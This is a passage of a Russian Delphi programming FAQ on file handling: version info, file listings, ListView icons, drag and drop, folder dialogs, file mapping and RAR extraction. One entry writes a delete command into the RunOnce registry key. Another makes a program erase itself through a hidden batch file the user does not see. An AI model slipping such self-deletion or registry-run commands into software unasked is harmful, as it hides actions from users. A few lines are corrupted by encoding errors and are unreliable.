      GetTranslationString := IntToHex(MakeLong(HiWord(Longint(P^)), LoWord(Longint(P^))), 8);
    if FValid then
      begin
        StrPCopy(szName, '\StringFileInfo\' + GetTranslationString + '\FileVersion');
        if VerQueryValue(FBuffer, szName, Value, Len) then
          Result := StrPas(PChar(Value));
      end;
  finally
    try
      if FBuffer <> nil then FreeMem(FBuffer, FSize);
    except
    end;
    try
      StrDispose(FFileName);
    except
    end;
  end;
end;

В качестве параметра задать имя программы, если своей программы:

FileVersion(Paramstr(0));

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Cколько файлов есть в определённой папке?

Как наиболее быстрым способом узнать, сколько файлов с определенным расширением есть в определенной папке?

Например для HTM файлов:

Function GetFileCount(Dir:string):integer;
var fs:TSearchRec;
begin
  Result:=0;
  if FindFirst(Dir+'\*.htm',faAnyFile-faDirectory-faVolumeID, fs)=0 then
    repeat
      inc(Result);
    until FindNext(fs)<>0;
  FindClose(fs);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Пример написания FileListBox

1)WinAPI

{uses ShellApi}

procedure TForm1.ListBox1DblClick(Sender: TObject);
var s:string;
begin
s:=listbox1.Items[SendMessage(ListBox1.Handle,lb_GetCurSel,0,0)];
if edit1.Text[length(edit1.text)]<>'\' then edit1.text:=concat(edit1.text+'\');
if (not FileExists(edit1.text+s)) and (s[1]='[')and(s[length(s)]=']') then
DlgDirList( handle,
PChar(edit1.text+copy(s,2,length(s)-2)),
ListBox1.Handle,
Edit1.Handle,
faAnyFile
 );
if edit1.Text[length(edit1.text)]<>'\' then edit1.text:=concat(edit1.text+'\');
if FileExists(edit1.text+s) then
begin
caption:=edit1.text+s;
ShellExecute(handle,'open',PChar(edit1.text+s),'','c:\',sw_show);
end
end;

procedure TForm1.FormShow(Sender: TObject);
begin
edit1.Width:=1024*8-1;
edit1.Visible:=false;
DlgDirList(handle,
PChar('c:\'),
ListBox1.Handle,
Edit1.Handle,
faAnyFile
);
listbox1.Sorted:=false;
listbox1.Sorted:=true;
end;

2)
{uses ShellAPI}
type PListBox=^TListBox;

Procedure FillList(List:PListBox;pathh,mask:string;attr:Cardinal);
var path:string;
ser:TSearchRec;
begin
path:=pathh;
if path[length(path)]<>'\' then path:=path+'\';
List^.Items.Clear;
if FindFirst(path+mask,attr,ser)<>0 then exit;
List^.Items.Add(ser.Name);
while FindNext(ser)=0 do
begin
if ser.Attr and faDirectory=faDirectory then
List^.Items.Add(' ['+Ser.Name+']')
else
List^.Items.Add(Ser.Name);
end;
List^.Sorted:=false;
list^.Sorted:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
FillList(@ListBox1,edit1.text,'*.*',faAnyFile);
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
var s:string;
begin
s:=ListBox1.Items[SendMessage(ListBox1.Handle,lb_GetCurSel,0,0)];
if (not FileExists(edit1.text+s)) and (s[1]+s[2]=' [') and (s[length(s)]=']') then
begin
FillList(@ListBox1,edit1.text+copy(s,3,length(s)-3),'*.*',faAnyFile);
edit1.text:=edit1.text+copy(s,3,length(s)-3)+'\';
end;
if FileExists(edit1.text+s) then
ShellExecute(handle,'open',PChar(edit1.text+s),'','c:\',sw_show);
end;

Добавим иконки:

{uses ShellAPI}
type PListBox=^TListBox;

Procedure FillList(List:PListBox;pathh,mask:string;attr:Cardinal);
var path:string;
ser:TSearchRec;
begin
path:=pathh;
if path[length(path)]<>'\' then path:=path+'\';
List^.Items.Clear;
if FindFirst(path+mask,attr,ser)<>0 then exit;
List^.Items.Add(ser.Name);
while FindNext(ser)=0 do
begin
if ser.Attr and faDirectory=faDirectory then
  List^.Items.Add(' ['+Ser.Name+']')
else
  List^.Items.Add(Ser.Name);
end;
List^.Sorted:=false;
list^.Sorted:=true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  FillList(@ListBox1,edit1.text,'*.*',faAnyFile);
  listbox1.itemheight:=18;
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
var s:string;
  Icon:hIcon;
  IconIndex:word;
begin
IconIndex:=1;
s:=ListBox1.Items[SendMessage(ListBox1.Handle,lb_GetCurSel,0,0)];
if (not FileExists(edit1.text+s)) and (s[1]+s[2]=' [') and (s[length(s)]=']') then
begin
  FillList(@ListBox1,edit1.text+copy(s,3,length(s)-3),'*.*',faAnyFile);
  edit1.text:=edit1.text+copy(s,3,length(s)-3)+'\';
end;
if FileExists(edit1.text+s) then
ShellExecute(handle,'open',PChar(edit1.text+s),'','c:\',sw_show);
end;

procedure TForm1.Button1Click(Sender: TObject);
var a:array of integer;
i:integer;
begin
SetLength(a,ListBox1.Items.Count+1);
//ZeroMemory(@a,ListBox1.Items.Count*4);
for i:=0 to ListBox1.Items.Count+1 do
a[i]:=10;
beep;
beep;
beep;
beep;
beep;
SendMessage(ListBox1.Handle,lb_SetTabStops,ListBox1.Items.Count,Integer(@a));
end;

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
Rect: TRect; State: TOwnerDrawState);
var icon:hIcon;
iconindex:word;
bm:TBitmap;
begin
iconindex:=1;
bm:=TBitmap.create;
bm.Width:=34;
bm.Height:=34;
ListBox1.Canvas.TextOut(17+Rect.Left,Rect.Top,ListBox1.Items[index]);
if (copy(ListBox1.Items[index],1,2)=' [') and
   (not FileExists(edit1.text+ListBox1.Items[Index])) then
begin
Icon := ExtractAssociatedIcon(HInstance,
PChar(edit1.text+copy(ListBox1.Items[Index],3,length(ListBox1.Items[Index])-3)),
IconIndex);
DrawIcon(bm.Canvas.Handle, 0, 0, Icon);
bm.Canvas.StretchDraw(classes.rect(0,0,16,16),bm);
ListBox1.Canvas.CopyRect(classes.rect(0,rect.top,16,rect.top+16),bm.canvas,classes.rect(0,0,16,16));
end
else
begin
Icon := ExtractAssociatedIcon(HInstance,
PChar(edit1.text+ListBox1.Items[Index]),
IconIndex);
DrawIcon(bm.Canvas.Handle, 0, 0, Icon);
bm.Canvas.StretchDraw(classes.rect(0,0,16,16),bm);
ListBox1.Canvas.CopyRect(classes.rect(0,rect.top,16,rect.top+16),bm.canvas,classes.rect(0,0,16,16));
end;
bm.Free;
CloseHandle(Icon);
end;

procedure TForm1.ListBox1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
  ListBox1.Repaint;
end;

procedure TForm1.ListBox1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var k:word;
begin
  k:=0;
  Listbox1.OnKeyDown(sender,k,shift);
end;

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Пример загрузки файлов в ListView с иконками

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, comctrls,
StdCtrls;

type
TForm1 = class(TForm)
ListView1: TListView;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
procedure SaveListViewToFile(AListView: TListView; sFileName: string);
procedure LoadListViewToFile(AListView: TListView; sFileName: string);
public
end;

const
Msg1 = 'File "%s" does not exist!';
Msg2 = '"%s" is not a ListView file!';

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.SaveListViewToFile(AListView: TListView; sFileName: string);
var
idxItem, idxSub, IdxImage: Integer;
F: TFileStream;
pText: PChar;
sText: string;
W, ItemCount, SubCount: Word;
MySignature: array [0..2] of Char;
begin
//Initialization
with AListView do
begin
ItemCount := 0;
SubCount := 0;
//****
MySignature := 'LVF';
// ListViewFile
F := TFileStream.Create(sFileName, fmCreate or fmOpenWrite);
F.Write(MySignature, SizeOf(MySignature));
if Items.Count = 0 then
// List is empty
ItemCount := 0
else
ItemCount := Items.Count;
F.Write(ItemCount, SizeOf(ItemCount));
if Items.Count > 0 then
begin
for idxItem := 1 to ItemCount do
begin
with Items[idxItem - 1] do
begin
//Save subitems count
if SubItems.Count = 0 then SubCount := 0 else SubCount := Subitems.Count;
F.Write(SubCount, SizeOf(SubCount));
//Save ImageIndex
IdxImage := ImageIndex;
F.Write(IdxImage, SizeOf(IdxImage));
//Save Caption
sText := Caption;
w := Length(sText);
pText := StrAlloc(Length(sText) + 1);
StrPLCopy(pText, sText, Length(sText));
F.Write(w, SizeOf(w));
F.Write(pText^, w);
StrDispose(pText);
if SubCount > 0 then
begin
for idxSub := 0 to SubItems.Count - 1 do
begin
//Save Item's subitems
sText := SubItems[idxSub];
w := Length(sText);
pText := StrAlloc(Length(sText) + 1);
StrPLCopy(pText, sText, Length(sText));
F.Write(w, SizeOf(w));
F.Write(pText^, w);
StrDispose(pText);
end;
end;
end;
end;
end;
F.Free;
end;
end;

procedure TForm1.LoadListViewToFile(AListView: TListView; sFileName: string);
var
F: TFileStream;
IdxItem, IdxSubItem, IdxImage: Integer;
W, ItemCount, SubCount: Word;
pText: PChar;
PTemp: PChar;
MySignature: array [0..2] of Char;
sExeName: string;
begin
with AListView do
begin
ItemCount := 0;
SubCount := 0;
sExeName := ExtractFileName(sFileName);
if not FileExists(sFileName) then
begin
MessageBox(Handle, PChar(Format(Msg1, [sExeName])), 'I/O Error', MB_ICONERROR);
Exit;
end;
F := TFileStream.Create(sFileName, fmOpenRead);
F.Read(MySignature, SizeOf(MySignature));
if MySignature <> 'LVF' then
begin
MessageBox(Handle, PChar(Format(Msg2, [sExeName])), 'I/O Error', MB_ICONERROR);
Exit;
end;
F.Read(ItemCount, SizeOf(ItemCount));
Items.Clear;
for idxItem := 1 to ItemCount do
begin
with Items.Add do
begin
//Read imageindex
F.Read(SubCount, SizeOf(SubCount));
//Read imageindex
F.Read(IdxImage, SizeOf(IdxImage));
ImageIndex := IdxImage;
//Read the Caption
F.Read(w, SizeOf(w));
pText := StrAlloc(w + 1);
pTemp := StrAlloc(w + 1);
F.Read(pTemp^, W);
StrLCopy(pText, pTemp, W);
Caption := StrPas(pText);
StrDispose(pTemp);
StrDispose(pText);
if SubCount > 0 then
begin
for idxSubItem := 1 to SubCount do
begin
F.Read(w, SizeOf(w));
pText := StrAlloc(w + 1);
pTemp := StrAlloc(w + 1);
F.Read(pTemp^, W);
StrLCopy(pText, pTemp, W);
Items[idxItem - 1].SubItems.Add(StrPas(pText));
StrDispose(pTemp);
StrDispose(pText);
end;
end;
end;
end;
F.Free;
end;
end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
// Save Items and Clear the ListView
SaveListViewToFile(ListView1, 'MyListView.sav');
ListView1.Items.Clear;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
// Load Items
LoadListViewToFile(ListView1, 'MyListView.sav');
end;

Автор: Song

Взято с Vingrad.ru http://forum.vingrad.ru

Удобнее всего воспользоваться компонентом ListView. Его используют многие программы, так как он позволяет очень просто создать удобный список.

Вначале создадим ImageList и с помощью функции WinAPI SHGetFileInfo заполним его иконками, связанными со всеми зарегистрированными расширениями. Затем, при выборе пользователем в DirectoryListBox каталога, найдем все файлы в этом каталоге и для каждого определим иконку при помощи той же функции SHGetFileInfo. И еще к каждому элементу списка добавляется размер файла. Если вывести список в виде таблицы (для этого нужно выбрать пункт Table в ComboBox), то справа от имени каждого файла окажется его размер.

uses ShellAPI;

procedure UpdateFiles;
var
  sr: TSearchRec;
  li: TListItem;
  fi: TSHFileInfo;
  ext: string;
  IconIndex: word;
  ic: TIcon;
begin
  Form1.ListView1.Items.BeginUpdate;
  Form1.ListView1.Items.Clear;
  if FindFirst(Form1.DirectoryListBox1.Directory + '\*.*', faAnyFile, sr)= 0 then
 repeat
    if sr.Attr and faDirectory <> 0 then continue;
    li := Form1.ListView1.Items.Add;

    li.Caption := sr.Name;
    ext := LowerCase(ExtractFileExt(li.Caption));
    ShGetFileInfo(PChar('*' + ext), 0, fi, SizeOf(fi),
      SHGFI_SMALLICON or SHGFI_SYSICONINDEX or SHGFI_TYPENAME);
    li.ImageIndex := fi.iIcon;
    if sr.Size < 1024
      then li.SubItems.Add(IntToStr(sr.Size) + ' byte')
      else if sr.Size < 1024 * 1024
        then li.SubItems.Add(IntToStr(round(sr.Size / 1024)) + ' KByte')
        else li.SubItems.Add(IntToStr(round(sr.Size / (1024 * 1024))) + ' MByte');

    li.SubItems.Add(fi.szTypeName);
  until FindNext(sr) <> 0;
  FindClose(sr);
  Form1.ListView1.Items.EndUpdate;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  fi: TSHFileInfo;
  lc: TListColumn;
begin
  DriveComboBox1.DirList := DirectoryListBox1;
  with ListView1 do begin
    SmallImages := TImageList.CreateSize(16,16);
    SmallImages.Handle := ShGetFileInfo('*.*', 0, fi,
      SizeOf(fi), SHGFI_SMALLICON or SHGFI_ICON

      or SHGFI_SYSICONINDEX);
    LargeImages := TImageList.Create(nil);
    LargeImages.Handle := ShGetFileInfo('*.*', 0, fi,
      SizeOf(fi), SHGFI_LARGEICON or SHGFI_ICON
      or SHGFI_SYSICONINDEX);
    lc := Columns.Add;
    lc.Caption := 'Name';
    lc := Columns.Add;
    lc.Caption := 'Size';
    ComboBox1.Items.Add('Icons');
    ComboBox1.Items.Add('List');
    ComboBox1.Items.Add('Table');
    ComboBox1.Items.Add('SmallIcons');
    ComboBox1.ItemIndex := 0;

  end;
  UpdateFiles;
end;

procedure TForm1.DirectoryListBox1Change(Sender: TObject);
begin
  UpdateFiles;
end;

procedure TForm1.ComboBox1Click(Sender: TObject);
begin
  case ComboBox1.ItemIndex of
    0: ListView1.ViewStyle := vsIcon;
    1: ListView1.ViewStyle := vsList;
    2: ListView1.ViewStyle := vsReport;
    else ListView1.ViewStyle := vsSmallIcon;
  end;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Как отслеживать изменение файла?

FindFirstChangeNotification, FindNextChangeNotification, FindCloseChangeNotification вместе с WaitForSingleObject

Автор ответа: Baa

Взято с Vingrad.ru http://forum.vingrad.ru


Перетаскивание файлов в приложение

Взято из FAQ: http://blackman.km.ru/myfaq/cont4.phtml
Иногда очень полезно избавить пользователя от лишних операций при открытии файла.
Он должен нажать на кнопку " Открыть" , затем найти интересующий каталог, выбрать файл.
Проще перетащить мышкой файл сразу в окно приложения.
Рассмотрим пример перетаскивания Drag & Drop в окно произвольного текстового файла,
который сразу же открывается в компоненте Memo1. Для начала в разделе Uses необходимо подключить модуль ShellAPI. В private области окна нужно вставить следующую строку:

 procedure WMDropFiles(var Msg: TWMDropFiles); message WM_DROPFILES;//получение сообщений о переносе файла в окно приложения

Процедура обработки этого сообщения будет выглядеть следующим образом:

procedure TForm1.WMDropFiles(var Msg: TWMDropFiles);
var
  CFileName: array[0..MAX_PATH] of Char; // переменная, хранящая имя файла
begin
try
If DragQueryFile(Msg.Drop, 0, CFileName, MAX_PATH)> 0 then
// полу?ение пути файла
begin
  Form1.Caption:=CFileName; // имя файла в заголовок окна
  Memo1.Lines.LoadFromFile(CFileName); // открываем файл
  Msg.Result := 0;
end;
finally
  DragFinish(Msg.Drop); // отпустить файл
end;
end;

Для того, чтобы форма знала,
что может принимать такие файлы, необходимо в процедуре создания окна
указать:

procedure TForm1.FormCreate(Sender: TObject);
begin
  DragAcceptFiles(Handle, True);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как использовать Shell API SHBrowseForFolder?

Статья из рассылки "Мастера DELPHI. Новости мира компонент, FAQ, статьи...".

Как использовать функцию Shell API SHBrowseForFolder чтобы позволить пользователю выбрать каталог?

uses ShellAPI, ShlObj;

procedure TForm1.Button1Click(Sender: TObject);
var
TitleName : string;
lpItemID : PItemIDList;
BrowseInfo : TBrowseInfo;
DisplayName : array[0..MAX_PATH] of char;
TempPath : array[0..MAX_PATH] of char;
begin
FillChar(BrowseInfo, sizeof(TBrowseInfo), #0);
BrowseInfo.hwndOwner := Form1.Handle;
BrowseInfo.pszDisplayName := @DisplayName;
TitleName := 'Please specify a directory';
BrowseInfo.lpszTitle := PChar(TitleName);
BrowseInfo.ulFlags := BIF_RETURNONLYFSDIRS;
lpItemID := SHBrowseForFolder(BrowseInfo);
if lpItemId <> nil then begin
SHGetPathFromIDList(lpItemID, TempPath);
ShowMessage(TempPath);
GlobalFreePtr(lpItemID);
end;
end;

Источник: Дельфи. Вокруг да около.

Вариант от Анатолия (SAVwa@eleks.lviv.ua)

threadvar myDir: string;

function BrowseCallbackProc(hwnd: HWND; uMsg: UINT; lParam: LPARAM; lpData:
LPARAM): integer; stdcall;
begin
Result := 0;
if uMsg = BFFM_INITIALIZED then begin
SendMessage(hwnd, BFFM_SETSELECTION, 1, LongInt(PChar(myDir)))
end;
end;

function SelectDirectory(const Caption: string; const Root: WideString;
var Directory: string): Boolean;
var
WindowList: Pointer;
BrowseInf!
o: TBrowseInfo;
Buffer: PChar;
RootItemIDList, ItemIDList: PItemIDList;
ShellMalloc: IMalloc;
IDesktopFolder: IShellFolder;
Eaten, Flags: LongWord;
begin
myDir := Directory;
Result := False;
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then
begin
Buffer := ShellMalloc.Alloc(MAX_PATH);
try
RootItemIDList := nil;
if Root <> '' then
begin
SHGetDesktopFolder(IDesktopFolder);
IDesktopFolder.ParseDisplayName(Application.Handle, nil,
POleStr(Root), Eaten, RootItemIDList, Flags);
end;
with BrowseInfo do
begin
hwndOwner := Application.Handle;
pidlRoot := RootItemIDList;
pszDisplayName := Buffer;
lpfn := @BrowseCallbackProc;
lParam := Integer(PChar(Directory));
lpszTitle := PChar(Caption);
ulFlags := BIF_RETURNONLYFSDIRS or $0040 or BIF_EDITBOX or
BIF_STATUSTEXT;
end;
WindowList := DisableTaskWindows(0);
try
ItemIDList := ShBrowseForFolder(BrowseInfo);
finally
EnableTaskWindows(WindowList);

end;
Result := ItemIDList <> nil;
if Result then
begin
ShGetPathFromIDList(ItemIDList!
, Buffer);
ShellMalloc.Free(ItemIDList);
Directory := Buffer;
end;
finally
ShellMalloc.Free(Buffer);
end;
end;
end;

Взято с Vingrad.ru http://forum.vingrad.ru


Чтение из открытого файла

Даже если файл открыт с низкими привелегиями (используя ReadOnly, ShareReadWrite) , иногда открытие уже открытого файла может приводить к ошибкам, особенно, если это файл интенсивно используется другим приложением. Самый простой способ решить эту проблемму - это использовать MemoryStream вместо непосредственного доступа к файлу:

var Memory: TMemoryStream;

begin
  Memory := TMemoryStream.Create;
  try
    Memory.LoadFromFile('busyfile.dat'); // это он!!
    ..
      Memory.Read(...); // Вы можете использовать методы чтения как у файлов
      Memory.Seek(...);
      FileSize := Memory.Size;
      ..
  finally
    Memory.Free;
  end;
end;

Данный способ никогда не открывает файл, а заместо этого создаёт копию его в памяти. Конечно Вы можете и записать в поток (Stream) в Памяти(Memory), но изменения не будут записаны на диск до тех пор, пока Вы не запишете их в файл (командой SaveToFile).

Автор ответа: neutrino

Комментарий от Vit

Решение хорошее, но накладно если файл большой...
Взято с Vingrad.ru http://forum.vingrad.ru

var b:string[15];
begin
with TFileStream.create('c:\MyFile.doc', fmShareDenyNone) do
try
read(b,14);
showmessage(b);
finally
Free;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

procedure TForm1.Button1Click(Sender: TObject);
type
AnyType = byte; // ??? ???? ?????
var
F: file of AnyType;
const
FName = 'D:/Exp.exe'; //?????????? ????
begin
begin
AssignFile(F, FName); { File selected in dialog }
FileMode:=fmOpenRead;
Reset(F);
// ...
// ...
CloseFile(F);
FileMode:=fmOpenReadWrite;
end;
end;

Автор ответа: PILOTIK
Взято с Vingrad.ru http://forum.vingrad.ru


Как найти путь к моей программе?

Application.ExeName

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru

Или еще лучше Paramstr(0) - лучше потому что работает и без объекта Application и в DLL

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как удалить файл после перезагрузки Windows?

Я использую функцию, которая заносит в ключ реестра RunOnce командную строку:

command.com /c del C:\Путь\Имя_файла

Автор ответа: inko
Взято с Vingrad.ru http://forum.vingrad.ru

В wininit добавляешь строку NUL={ПУТЬ УДАЛЯЕМОГО ФАЙЛА}

Автор ответа: VoL
Взято с Vingrad.ru http://forum.vingrad.ru

Еще есть способ через реестр:

uses Registry;

procedure DeleteFileOnRestart (const FileName : String);
var Reg : TRegistry;
begin
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  Reg.OpenKey ('Software\Microsoft\Windows\CurrentVersion\RunOnce', False);
  Reg.WriteString ('Selfdel9x','command.com /C del "' + FileName + '"');
  Reg.WriteString ('SelfdelNT','cmd /C del "' + FileName + '"');
  Reg.CloseKey;
  Reg.Free;
end;

Тут две команды добавляются, т.к. на XP с command.com не рабоает...
Одна из них сработает, а другая пройдет в холостую...

Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Как поместить в буфер файл с помощью File Mapping?

1.
В файлике Delphi5\Demos\Resxplor\exeimage.pas ищи слово CreateFileMapping
2.
идея простая открываешь файл .. (или создаешь)
создаешь Mapping ... CreateFileMapping
отображаешь Mapping в свой процесс MapViewOfFile
и всё

var
  SharedHandle: THandle;
  FileView: Pointer;
  MyFile: HFILE;
begin
  MyFile := OpenFile('c:\1.txt', // pointer to filename
    ..., // pointer to buffer for file information
    ... // action and attributes
    );
  SharedHandle := CreateFileMapping(MyFile, nil, PAGE_READWRITE, 0,
    size {размер файла}, PChar('MyFile'));
  FileView := MapViewOfFile(SharedHandle, FILE_MAP_WRITE, 0, 0, size {размер файла});
  ...
    ...
    ...
    ...
// потом
  UnmapViewOfFile(FileView);

Взято с Vingrad.ru http://forum.vingrad.ru


Как удалить файл из самого себя?

Очевидно что под Win32 удаление работающего кода невозможно. На время выполнения он просто добавляется к swap файлу - т.е. винды при нехватки памяти данные программы (массив переменных) сбрасывают в Swap (Page) файл, а сам код программы просто уничтожается из памяти, при возобновлении процесса, недостающие куски кода опять считываются из исходного файла. Понятно, что изменение файла пока его код выполняется будет иметь катастрофичные последствия, поэтому винды при запуске программы считают DLL или EXE файл по сути куском файла подкачки и запрещают любые манипуляции над ним. Кстати именно по этой причине все инсталляторы начинают свою работу с операции "Preparing to install", которая делает очень простую вещь - сам инсталлятор копируется во временную папку и перезапускает себя уже с винта, чтоб предотвратить крах системы при смене дискетты или CD. По этой же причине программы упакованные любыми EXE упаковщиками требуют больше памяти для запуска - так как загружается в память и исходный компрессированный код и декомпрессированный поток... Но несмотря на все сказанное можно удалить файл из "самого себя" при помощи маленькой хитрости: мы создаем и запускаем BAT файл - который и удалит программу, а саму программу закрываем, как только система "отпустит" файл - файл будет удален и затем BAT файл удалит самого себя. Пользователь всего этого не заметит - он увидит, что после завершении работы файла программы уже нет.

uses ShellApi;

procedure TForm1.FormDestroy(Sender: TObject);
var f: textFile;
  FileName: string;
begin
  FileName := changefileext(paramstr(0), '.bat');
  assignFile(f, FileName);
  rewrite(f);
  writeln(f, ':1');
  writeln(f, format('Erase "%s"', [paramstr(0)]));
  writeln(f, format('If exist "%s" Goto 1', [paramstr(0)]));
  writeln(f, format('Erase "%s"', [FileName]));
  closefile(f);
  ShellExecute(Handle, 'Open', PChar(FileName), nil, nil, sw_hide);
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Создаём собственный UnRar, используя unrar.dll

// Объявления

function RAROpenArchive(ArchiveData : Pointer): Integer; stdcall;
external 'unrar.dll' name 'RAROpenArchive';

function RARCloseArchive(hArcData : Integer): Integer; stdcall;
external 'unrar.dll' name 'RARCloseArchive';

function RARReadHeader(hArcData : Integer; HeaderData : Pointer): Integer; stdcall;
external 'unrar.dll' name 'RARReadHeader';

function RARProcessFile(hArcData : Integer; Operation : Integer; DestPath : Pointer;
DestName : Pointer): Integer; stdcall;
external 'unrar.dll' name 'RARProcessFile';

const
  ERAR_END_ARCHIVE = 10;
  ERAR_NO_MEMORY = 11;
  ERAR_BAD_DATA = 12;
  ERAR_BAD_ARCHIVE = 13;
  ERAR_UNKNOWN_FORMAT = 14;
  ERAR_EOPEN = 15;
  ERAR_ECREATE = 16;
  ERAR_ECLOSE = 17;
  ERAR_EREAD = 18;
  ERAR_EWRITE = 19;
  ERAR_SMALL_BUF = 20;

  RAR_OM_LIST = 0;
  RAR_OM_EXTRACT = 1;
  RAR_SKIP = 0;
  RAR_TEST = 1;
  RAR_EXTRACT = 2;
  RAR_VOL_ASK = 0;
  RAR_VOL_NOTIFY = 1;

type
  Char260 = Array [1..260] of Char;

  TRAROpenArchiveData = record
   ArcName : PChar; // в C++ это будет выглядеть как: char *ArcName
   OpenMode : Cardinal;
   OpenResult : Cardinal;
   CmtBuf : PChar;
   CmtBufSize : Cardinal;
   CmtSize : Cardinal;
   CmtState : Cardinal;
  end;

  TRARHeaderData = record
   ArcName : Char260;
   FileName : Char260;
   Flags : Cardinal;
   PackSize : Cardinal;
   UnpSize : Cardinal;
   HostOS : Cardinal;
   FileCRC : Cardinal;
   FileTime : Cardinal;
   UnpVer : Cardinal;
   Method : Cardinal;
   FileAttr : Cardinal;
   CmtBuf : PChar;
   CmtBufSize : Cardinal;
   CmtSize : Cardinal;
   CmtState : Cardinal;
  end;

var
  RARExtract : boolean;
  RAROpenArchiveData : TRAROpenArchiveData;
  RARComment : array [1..256] of Char;
  RARHeaderData : TRARHeaderData;

...

procedure ExtractRARArchive;
var
  sDir : string;
  s : string;
  sTest : string;
  iTest : integer;
  bTestDone : boolean;
  RARhnd : Integer;
  RARrc : Integer;
  PDestPath : Char260;

begin
  RARExtract:=TRUE;
  lKBWritten:=0;
  ProgressBar2.Position := 0;
  ProgressBar2.Max := lTotalSize;
  RARStartTime:=Time;

  RAROpenArchiveData.OpenResult:=99;
  RAROpenArchiveData.OpenMode := RAR_OM_EXTRACT; // открываем для распаковки
  RAROpenArchiveData.ArcName:= @RARFileName;
  RAROpenArchiveData.CmtBuf := @RARComment;
  RAROpenArchiveData.CmtBufSize := 255;

// Открываем RAR архив и выделяем память
  RARhnd := RAROpenArchive (@RAROpenArchiveData);
  If RAROpenArchiveData.OpenResult <> 0 then
  begin
   case RAROpenArchiveData.OpenResult of
    ERAR_NO_MEMORY : s:='Not enough memory to initialize data structures';
    ERAR_BAD_DATA : s:='Archive header broken';
    ERAR_BAD_ARCHIVE : s:='File is not valid RAR archive';
    ERAR_EOPEN : s:='File open error';
   end;
   MessageDlg('Unable to open rar archive: ' + s + '!',mtError, [mbOK], 0);
  end;

  RARSetProcessDataProc(RARhnd,@Form.OnRarStatus);
  StrPCopy(@PDestPath, EInstallPath.Text);

  repeat
   RARrc := RARReadHeader (RARhnd, @RARHeaderData);// Читаем заголовок
   if RARrc <> ERAR_END_ARCHIVE then
   begin
    ProgressBar1.Position := 0;
    ProgressBar1.Max := RARHeaderData.UnpSize;
    s:=RARHeaderData.FileName;
    lblCurrentFile.Caption := s;
    lKBytesDone := 0;
   end;

   if RARrc = 0 then
   RARrc:=RARProcessFile (RARhnd, RAR_EXTRACT, @PDestPath, nil);
   if (RARrc <> 0) and (RARrc <> ERAR_END_ARCHIVE) then
   begin
    MessageDlg('An Error occured during extracting of ' + sTest+'!' + #13#10 +
    'RARProcessFile: ' + MakeItAString(RARrc),mtError, [mbOK], 0);
   end;
  until RARrc <> 0;

// закрываем RAR архив и освобождаем память
  If RARCloseArchive(RARhnd) <> 0 then
  begin
   MessageDlg('Unable to close rar archive!',mtError, [mbOK], 0);
  end;
end; // ExtractRARArchive

Взято из http://forum.sources.ru


Как выяснить дату последнего изменения файла?

function GetFileDate(FileName: string): string;
  var FHandle: Integer;
begin
  FHandle := FileOpen(FileName, 0);
try
  Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
finally
  FileClose(FHandle);
end;
end;

Взято с сайта http://blackman.wp-club.net/


Как скопировать директорию?

Использовать ShFileOperation

procedure TForm1.Button2Click(Sender: TObject);
var  OpStruc: TSHFileOpStruct;
  frombuf, tobuf: Array [0..128] of Char;
begin  FillChar( frombuf, Sizeof(frombuf), 0 );
  FillChar( tobuf, Sizeof(tobuf), 0 );
  StrPCopy( frombuf, 'd:\brief\*.*' );
  StrPCopy( tobuf, 'd:\temp\brief' );
  with OpStruc do begin
    Wnd := Handle;
    wFunc := FO_COPY;
    pFrom := @frombuf;
    pTo := @tobuf;
    fFlags := FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION;
    fAnyOperationsAborted := False;
    hNameMappings := Nil;
    lpszProgressTitle := Nil;
  end;
  ShFileOperation( OpStruc );
end;

Взято с сайта http://blackman.wp-club.net/


Файловые операции средствами ShellAPI

Файловые операции средствами ShellAPI.
В данной статье мы подробно рассмотрим применение функции SHFileOperation.
function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;
Данная функция позволяет производить копирование, перемещение,
переименование и удаление (в том числе и в Recycle Bin) объектов файловой системы.
Функция возвращает 0, если операция выполнена успешно,
и ненулевое значение в противном :-) случае.

Функция имеет единственный аргумент - структуру типа TSHFileOpStruct,
в которой и передаются все необходимые данные.
Эта структура выглядит следующим образом:

_SHFILEOPSTRUCTA = packed record
    Wnd: HWND;
    wFunc: UINT;
    pFrom: PAnsiChar;
    pTo: PAnsiChar;
    fFlags: FILEOP_FLAGS;
    fAnyOperationsAborted: BOOL;
    hNameMappings: Pointer;
